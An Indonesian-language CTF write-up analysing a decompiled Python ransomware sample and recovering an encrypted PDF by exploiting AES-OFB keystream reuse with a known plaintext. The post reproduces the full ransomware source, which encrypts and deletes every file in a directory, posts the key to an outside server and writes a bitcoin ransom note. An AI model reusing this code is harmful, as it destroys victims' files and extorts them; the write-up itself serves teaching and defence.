CTF Writeup – Cracking AES OFB

Ini adalah salah satu challenge yang menarik, karena pada saat itu saya belum paham sama sekali tentang kriptografi AES. sampai-sampai saya harus mendalami algoritma kripto ini dengan membuat implementasi AES dengan skrip buatan saya sendiri.. Senang sekali akhirnya bisa memahami dan mendalami kripto ini. Jadi selain reverse dan pwn yang sebelumnya menjadi bidang yang saya fokuskan, tambahan satu bidang lagi adalah crypto yang akan menjadi fokus saya kedepan untuk mendalaminya. šŸ˜€

The challenge

Diberikan sebuah file archive PythonCrypt2.zip. Langsung kita ekstrak filenya.

$ unzip PythonCrypt2.zip
Archive:  PythonCrypt2.zip
   creating: PythonCrypt2/
   creating: PythonCrypt2/backup/
  inflating: PythonCrypt2/backup/TugasBudi.pdf
   creating: PythonCrypt2/enc/
  inflating: PythonCrypt2/enc/TugasBudi.pdf.pcry2
  inflating: PythonCrypt2/enc/JawabanBudi.pdf.pcry2
  inflating: PythonCrypt2/enc/README.TXT
  inflating: PythonCrypt2/enc/pycrypt2.pyc

Sepertinya menarik untuk membaca ./PythonCrypt2/enc/README.TXT, mari kita lihat

$ cat README.TXT
Oopps, all of your important files are encrypted !
If you want to get your data back, please send $10000 worth of bitcoin to this address
BTC Address : BTCUHlDcnlwdDJDaGFsbGVuZ2VXaXRoQUVTMjU2T0ZC
After you send the payment, submit the encryption token to http://www.shafou.com/recover.php
Your Encryption Token : 47dabf1acdda30e83b24ce7f929dccbbb243ecb2

Tujuan kita adalah mendecrypt file yang telah diencrypt oleh sebuah ransomware. File yang telah diencrypt berformat .pcry2, sementara program ransomware bernama file pycrypt2.pyc. file pyc adalah script python yang sudah dicompile menjadi bytecode. Kita bisa mendecompilenya dengan uncompyle6. Mari kita lihat apa yang ada didalam ransomware tersebut. Kita akan memahami cara kerja ransomware tersebut dan mencari cara bagaimana kita mendecrypt file – file yang telah diencrypt dengan ransomware tersebut. Oke mari kita decompile.

$ uncompyle6 pycrypt2.pyc > pycrypt2.py

Isi file pycrypt2.py adalah

# uncompyle6 version 2.13.2
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
# [GCC 6.3.0 20170118]
# Embedded file name: pycrypt2.py
# Compiled at: 2017-10-11 01:25:00
import time
import hashlib
import glob
import os
import requests
from Crypto import Random
from Crypto.Cipher import AES

class Ransom:

    def __init__(self):
        self.IV = Random.new().read(16)
        self.key = Random.new().read(32)
        self.mode = AES.MODE_OFB
        self.token = hashlib.sha1(Random.new().read(16)).hexdigest()
        self.time_enc = time.asctime(time.localtime(time.time()))

    def pad(self, data):
        return data + (16 - len(data) % 16) * chr(16 - len(data) % 16)

    def encrypt_file(self, name):
        plain = open(name, 'rb').read()
        cipher = self.encrypt(plain)
        out = open(name + '.pcry2', 'wb').write(cipher)
        os.remove(name)

    def encrypt(self, plain):
        aes_obj = AES.new(self.key, self.mode, self.IV)
        cipher = aes_obj.encrypt(self.pad(plain))
        out = 'PyCrypt2!' + cipher
        return out

    def sendtoserver(self):
        data = {'token': self.token,'key': self.key.encode('hex'),'IV': self.key.encode('hex'),'time': self.time_enc}
        r = requests.post('http://www.shafou.com/token.php', data=data)

    def readme(self):
        readme = open('README.TXT', 'wb')
        readme.write('Oopps, all of your important files are encrypted !\n')
        readme.write('If you want to get your data back, please send $10000 worth of bitcoin to this address\n')
        readme.write('BTC Address : BTCUHlDcnlwdDJDaGFsbGVuZ2VXaXRoQUVTMjU2T0ZC\n')
        readme.write('After you send the payment, submit the encryption token to http://www.shafou.com/recover.php\n')
        readme.write('Your Encryption Token : {}\n'.format(self.token))
        readme.write('')
        readme.write('')
        readme.close()
        fread = open('README.TXT', 'rb').read()
        print fread


def main():
    file_scan = glob.glob('*')
    enc_file_scan = glob.glob('*.pcry2')
    ransom = Ransom()
    for i in file_scan:
        if i == 'pycrypt2.py' or i in enc_file_scan or i == 'README.TXT' or i == 'pycrypt2.pyc' or os.path.isfile(i) == False:
            continue
        else:
            ransom.encrypt_file(i)

    ransom.sendtoserver()
    ransom.readme()


if __name__ == '__main__':
    main()
# okay decompiling pycrypt2.pyc

Oke kita sudah mendapatkan script ransomware tersebut. Mari kita analisa.
Di fungsi main, program akan mencari semua nama file yang ada di current directory, lalu dengan class Ransom yang ditaruh di variable ransom, masing – masing file diencrypt satu persatu dengan memanggil method encrypt_file di class Ransom.

def encrypt_file(self, name):
    plain = open(name, 'rb').read()
    cipher = self.encrypt(plain)
    out = open(name + '.pcry2', 'wb').write(cipher)
    os.remove(name)

Fungsi ini membaca isi file dan menjadikannya parameter untuk memanggil fungsi encrypt. Setelah itu hasil dari fungsi encrypt akan disimpan ke file dengan format “nama file” + “.pcry2” dan juga menghapus file sebelumnya dengan fungsi os.remove

def encrypt(self, plain):
    aes_obj = AES.new(self.key, self.mode, self.IV)
    cipher = aes_obj.encrypt(self.pad(plain))
    out = 'PyCrypt2!' + cipher
    return out

Fungsi encrypt ini akan mengenkripsi plaintext dengan enkripsi AES, dan sebelum juga ciphertext akan ditambahkan string “PyCrypt2!”. Sekarang kita lihat bagaimana key dan IV dihasilkan untuk enkripsi AES ini.

def __init__(self):
    self.IV = Random.new().read(16)
    self.key = Random.new().read(32)
    self.mode = AES.MODE_OFB
    self.token = hashlib.sha1(Random.new().read(16)).hexdigest()
    self.time_enc = time.asctime(time.localtime(time.time()))

key dan IV dihasilkan dari class Random, masing – masing mengambil 32 dan 16 byte, Jadi kita tidak akan pernah tau key dan IV apa yang dilakukan pada saat proses enkripsi karena memang key dan IV selalu random. Dan mode yang digunakan untuk enkripsi ini adalah AES Mode OFB. Jika diperhatikan mekanisme Block cipher mode OFB seperti digambar dibawah ini.

OFB Mode Encryption
OFB Mode Decryption

Catatan : āŠ• = xor

Disini saya akan menjelaskan sedikit tentang block cipher encryption. Block cipher adalah salah satu jenis enkripsi yang mana enkripsi ini akan membagi plaintext menjadi beberapa blok, dan akan mengekripsi masing – masing blok tersebut sehingga menghasilkan ciphertext yang utuh. Implementasi dari block cipher pun banyak jenisnya ada ECB (Electronic Codebook), CBC (Cipher Block Chaining), CFB (Cipher Feedback), OFB (Output Feedback) dll. Tapi kita akan fokus ke OFB yang juga untuk menyelesaikan challenge sebelumnya.

Lihat gambar diatas. Pada enkripsi OFB, IV akan melewati proses enkripsi, hasil dari enkripsi tersebut akan di xor dengan plaintext sehingga akan menjadi ciphertext dan hasil dari enkripsi sebelumnya juga akan dipakai sebagai IV untuk proses enkripsi selanjutnya. Jadi plaintext tidak mengalami proses enkripsi, ciphertext dihasilkan dari hasil plaintext yang dixor dengan IV yang sudah dienkripsi.

Begitu juga dengan proses dekripsi, IV yang telah dienkripsi, akan dixor dengan ciphertext sehingga menghasilkan plaintext, dan hasil IV yang dienkripsi juga, akan menjadi IV untuk proses enkripsi selanjutnya.

Jika kalian perhatikan, kita bisa mendecrypt ciphertext tanpa mengetahui key dan IVnya !! Jika kita mempunyai pasangan ciphertext dan plaintext yang lain, dengan syarat ciphertext dihasilkan dari key dan IV yang sama, dengan file yang ingin kita decrypt. Karena, jika ada 2 buah plaintext yang di encrypt dengan key dan IV yang sama. Maka bisa dipastikan setiap blok plaintext yang terdapat di 2 buah plaintext tersebut akan dixor dengan data (hasil dari IV yang dienkripsi) yang sama pula.

Nah, jika kalian lihat lagi diatas, kita mempunyai pasangan plaintext dan ciphertext, plaintext berada di ./PythonCrypt2/backup/TugasBudi.pdf dan ciphertextnya berada di ./PythonCrypt2/enc/TugasBudi.pdf.pcry2.

Jadi untuk mendecrypt file ./PythonCrypt2/enc/JawabanBudi.pdf.pcry2 kita hanya perlu menxor pasangan plaintext dan ciphertext (Tugasbudi.pdf dan TugasBudi.pdf.pcry2) setelah itu hasilnya akan dixor dengan ciphertext yang ingin kita decrypt yakni file JawabanBudi.pdf.pcry2. Jadi beginilah hasil akhir script solver yang saya buat.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
def strxor(s1, s2):
    s = ""
    for x,y in zip(s1, s2):
        s += chr(ord(y) ^ ord(x))
    return s

P1 = open('../backup/TugasBudi.pdf').read()
C1 = open('./TugasBudi.pdf.pcry2').read()[9:] 
C2 = open('./JawabanBudi.pdf.pcry2').read()[9:]
key = ""
l = len(C2)
key = strxor(P1[:l], C1[:l])
print strxor(key, C2)

Sekarang kita jalankan ..

$ python solve.py > hasil.pdf   
$ file hasil.pdf                
hasil.pdf: PDF document, version 1.4

Jika kita buka, file hasil.pdf akan berisi flag dari challenge ini. šŸ˜€

Referensi :
[1] https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
[2] https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
[3] https://cryptobounce.wordpress.com/2008/06/19/block-cipher/

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s